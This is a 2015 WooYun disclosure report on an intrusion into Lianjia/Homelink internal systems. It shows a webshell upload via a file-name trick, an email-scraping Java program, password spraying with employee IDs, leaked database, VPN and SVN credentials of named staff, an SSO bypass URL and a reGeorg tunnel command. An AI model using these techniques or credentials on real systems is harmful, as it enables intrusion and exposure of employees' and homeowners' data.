当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0126199

漏洞标题:互联网房产行业之链家地产意识不足引发的内网漫游(涉及内部核心房源和销售系统\链家理财系统\掌上链家\服务器数据库权限等敏感信息)

相关厂商:homelink.com.cn

漏洞作者: HackBraid

提交时间:2015-07-11 21:31

修复时间:2015-08-27 08:36

公开时间:2015-08-27 08:36

漏洞类型:成功的入侵事件

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-11: 细节已通知厂商并且等待厂商处理中
2015-07-13: 厂商已经确认,细节仅向厂商公开
2015-07-23: 细节向核心白帽子及相关领域专家公开
2015-08-02: 细节向普通白帽子公开
2015-08-12: 细节向实习白帽子公开
2015-08-27: 细节向公众公开

简要描述:

声明:未进行任何破坏和攻击
租房时链家员工的操作失误引起的内网超级大漫游
员工说:怪我喽?
================
耐心才能搞定大目标
可否精华?

详细说明:

0x00 漫游起源
去年在自如租房时,员工登录cms.ziroom.com系统,在输入账户为2009****并多次输入密码为|2009****导致可被攻击者轻易记录(可能是实习生或者第一次登录很紧张导致多次输错密码)
回到家后,我也登录了下,后背一凉!
自如注册、密码找回和账户提现的验证码在这里可以看到,可以任意操作了?!

z4.jpg


给他这么高的权限真的好吗?可以主站挂马了

z.jpg


0x01 First Blood!(exam站点上传导致服务器沦陷)
通过上面的2009****,密码相同即可登录http://exam.homelink.com.cn站点,这里使用20090003登录后头像可上传,啪!一句话马就上去了
http://exam.homelink.com.cn/fileroot/temp/c420dc1d-9ad4-473a-b2d4-a860aec4516e/photo/x.asp;.gif keio

l.jpg


l1.jpg


大马:
http://exam.homelink.com.cn/fileroot/offlinecourse/base/MainFrame/HY10.aspx admin
找到数据库配置文件

<?xml version="1.0" encoding="utf-8"?>
<configuration>
<configSections>
<section name="dataConfiguration" type="newv.foundation.data.configuration.DatabaseSettings, newv.foundation.data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=null" />
</configSections>
<dataConfiguration defaultDatabase="SmartLearningDBConn" />
<connectionStrings>
<add name="SmartLearningOraConn" connectionString="Data Source=test;User Id=test;Password=test;" providerName="System.Data.OracleClient" />
<add name="SmartLearningDBConn" connectionString="Persist Security Info=False;server=(local);User ID=smartexam;Password=***!;database=SmartExam;Connection Reset=FALSE;Packet Size=4096;Pooling=true;Max Pool Size=100;Min Pool Size=1" providerName="System.Data.SqlClient" />
<add name="SmartExam2007" connectionString="Persist Security Info=False;server=newway;User ID=sa;Password=;database=SmartExam2007;Connection Reset=FALSE;Packet Size=4096;Pooling=true;Max Pool Size=100;Min Pool Size=1" providerName="System.Data.SqlClient" />
</connectionStrings>
<LoggingConfig>
<logMethod value="logNone" description="记录方式: logNone-不记录. logAll-全记录. logWanted-只记录适合配置超进的Sql语句" />
<quickSQLTime value="100" deacription="短SQL语句的超时时长" />
<normalSQLTime value="1000" description="普通SQL语句的超时时长" />
<slowSQLTime value="3000" description="长SQL语句超时时长" />
<databaseType value="mssql2005" description="为数据库类型,可对值为mssql,oracle,access,mysql" />
<isFilterScript value="N" description="是否过滤Scirpt脚本,Y:是,N:否" />
</LoggingConfig>
</configuration>


连接数据库并找到user表,首先计算下用户数:72533

l5.jpg


select top 10 * from nv_user where is_admin like '%Y%'

l3.jpg


l4.jpg


本来以为是md5加密,后来发现还不是,通过解密方法可以直接获取admin密码为wumin,登录后可以进管理后台,整个链家的员工组织架构和员工工号等信息就全部暴露了!这一点很重要,将涉及到后面的mail系统沦陷、VPN内网漫游和代理反弹漫游等。

l6.jpg


0x02 企业安全软肋之邮件系统
邮件系统一直是黑客的最爱,因为它包含开发和运维等职能相关的账户信息、企业核心数据相关的源码(svn、git)信息以及VPN这种直接远程入内网的账户信息等。尤其是在猪猪侠大牛提出了常用的500用户名之后以及北京方便面的经典案例 WooYun: 企业应用安全的软肋之唯品会内网漫游(DBA系统、项目管理系统等) ,这种简单粗暴直接的攻击方式往往能达到“快准狠”的效果。于是乎我也试了下链家的邮件系统,首先还是从链家主站发现2W+的经纪人的邮件信息:

l7.jpg


写个程序即可爬取所有人的邮箱,java代码如下(其中WriteToFile是个写文件的类,就不用贴了吧):

package MailCatch;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import WriteFiles.WriteToFile;
public class MailCatch {
/**
* Main
* @author libin-it
* @since 2015/04/20
*/
public static void main(String[] args) throws Exception {
MailCatch mailCatch = new MailCatch();
for (int i = 2; i < 1778; i++) {
mailCatch.doGet("http://bj.lianjia.com/jingjiren/pg"+i+"/", "catch","C:/Users/libin-it/Desktop/homelinkmail.txt");
}
}
/**
* @method doGet(url,action,wPath)
* @return url(Code=200) or url(Content)
* @throws Exception
*/
public static void doGet(String u,String act,String wPath) throws Exception {
URL url = new URL(u);
String action = act;
WriteToFile w = new WriteToFile();
URLConnection connection = url.openConnection();
HttpURLConnection httpURLConnection = (HttpURLConnection) connection;
httpURLConnection.setRequestProperty("Accept-Charset", "utf-8");
httpURLConnection.setRequestProperty("Accept-Encoding", "identity");
httpURLConnection.setRequestProperty("Content-Type",
"application/x-www-form-urlencoded");
httpURLConnection.setReadTimeout(5000);
httpURLConnection.setConnectTimeout(5000);

try{
if ((httpURLConnection.getResponseCode() == 200)&&action == "url") {
//写url
w.fWriter(wPath, u);
} else if((httpURLConnection.getResponseCode() == 200)&&action == "catch"){
//抓mail
System.out.println("Success!!!");
InputStream in = null;
InputStreamReader inr = null;
BufferedReader reader = null;
StringBuffer resultBuffer = new StringBuffer();
String tempLine = null;
try{
in = httpURLConnection.getInputStream();
inr = new InputStreamReader(in,"utf-8");
reader = new BufferedReader(inr);
while((tempLine = reader.readLine())!=null){
resultBuffer.append(tempLine);

}
List<String> ls=new ArrayList<String>();
Pattern pattern = Pattern.compile("[\\w[.-]]+@[\\w[.-]]+\\.[\\w]+");
Matcher matcher = pattern.matcher(resultBuffer);
while(matcher.find()){
w.fWriter(wPath, matcher.group());
}
}finally{
if(reader!=null){
reader.close();
}
if(inr!=null){
inr.close();
}
if(in!=null){
in.close();
}
}
}
}catch(Exception e){
}
}

}


这样单线程跑也就2分钟搞定!

l8.jpg


结果爆破使用最简单的123456,其它规则参考 WooYun: 企业应用安全的软肋之唯品会内网漫游(DBA系统、项目管理系统等) ,跑出了三条:

l10.jpg


两万才跑出3条?!还都是经纪人邮件,貌似没什么卵用,后来试了试其它规则也是收效甚微。之后有一天在想链家7W多的员工都在使用员工工号登陆exam系统,会不会其邮件系统密码也是用员工工号呢?
之后的邮件VPN漫游更加明确了一条攻击思路:通过0x01获取的员工工号作为密码+邮箱系统的通讯录作为用户名就可以控制我想要的邮件信息了。
====================邮件泄露信息=================
首先看看核心系统研发组:

l9.jpg


通过经纪人zhaom23在通讯录里查到其邮箱账户为zhuxw4,密码是工号:20086341

l11.jpg


去重后房源是800w,然后我们搜寻git,发现一个账户

l12.jpg


无奈端口都已经关闭了

l13.jpg


研发组里掌上链家的常健changj9\20086089
JIPA系统,在内网

l14.jpg


然后知道常健是做掌上链家的研发

l15.jpg


互联网应用开发组里的李军峰lijf6|20012579(密码已改),链家理财svn账户信息泄露,也是在内网

l17.jpg


0x03 企业安全软肋之VPN系统
VPN系统的爆破也成为企业安全的软肋,我们使用之前邮箱的攻击思路即可进一步测试VPN系统
使用常健 changj9|20086089 可以成功登陆vpn系统
重置常健的JIPA密码为123456asd(0x02邮箱获得的地址),进入JIPA系统,发现是掌上链家项目的问题及解决这样一个系统

l18.jpg


然后登录链家核心业务之一链家理财的svn可查看源码,也可以整包下载喽?
https://172.16.6.214/svn/homelinkP2P/trunk/ 账户密码为:zhouhongting|zhouhongting

l19.jpg


看数据库配置信息

#============================#
#===== Database sttings =====#
#============================#
#mysql database setting
jdbc.driver=com.mysql.jdbc.Driver
#jdbc.url=jdbc:mysql://172.27.30.231:3306/p2p?useUnicode=true&characterEncoding=utf-8
jdbc.url=jdbc:mysql://172.16.5.15:3306/p2p?useUnicode=true&characterEncoding=utf-8
jdbc.username=thinkgem
jdbc.password=admin
#oracle database settings
#jdbc.driver=oracle.jdbc.driver.OracleDriver
#jdbc.url=jdbc:oracle:thin:@127.0.0.1:1521:orcl
#jdbc.username=jeesite
#jdbc.password=123456
#mssql database settings
#jdbc.driver=net.sourceforge.jtds.jdbc.Driver
#jdbc.url=jdbc:jtds:sqlserver://localhost:1433/jeesite
#jdbc.username=sa
#jdbc.password=sa
#pool settings
jdbc.pool.minIdle=3
jdbc.pool.maxActive=20


连接数据库

l20.jpg


还有个redis未授权访问,现在可以直接拿shell

l21.jpg


另外一个VPN账户为王楚中:wangcz_v|wangcz_v(密码已改)--》密码已改不可怕,请看后面的突破VPN限制。
由于王楚中身份是北京链家-职能-资讯科技本部-系统运维部-系统架构组,所以登录VPN后其管理的系统是最全面的

l22.jpg


====================VPN漫游=================
可以登录eoffice,进而可以了解链家很多业务站点:

l23.jpg


链家核心销售管理系统(172.16.5.55)存在高危设计缺陷
http://sestg.homelink.com.cn/SalesMgr-Web/framelayout.action?SSOUserName=$xiongym$
其中$xiongym$部分替换为任意经纪人的邮箱前缀即可登录(之前已经使用程序批量获取2W+经纪人账户)
这个系统可以直接查看该经纪人所管小区域的房主信息

l24.jpg


l25.jpg


业主联系方式

l26.jpg


0x04 突破VPN限制
http://apisms.test.ziroom.com admin|admin tomcat弱口令可上传war包
传个reGeorgSockets的tunnel.jsp

python reGerSocksProxy.py -p 8090 -u "http://apisms.test.ziroom.com/SMS2APP/test/index.jsp"

即可再次登录核心销售管理系统

l27.jpg


l28.jpg


l29.jpg


l30.jpg


漏洞证明:

exam系统在内网也可以ping通核心销售系统

l31.jpg


写了一下午+一晚上,求个精华~

修复方案:

1.exam、mail和VPN等系统密码口令策略修改
2.内网核心销售系统源码整改,现在是用户名登录。

版权声明:转载请注明来源 HackBraid@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-07-13 08:35

厂商回复:

确认,谢谢。

最新状态:

暂无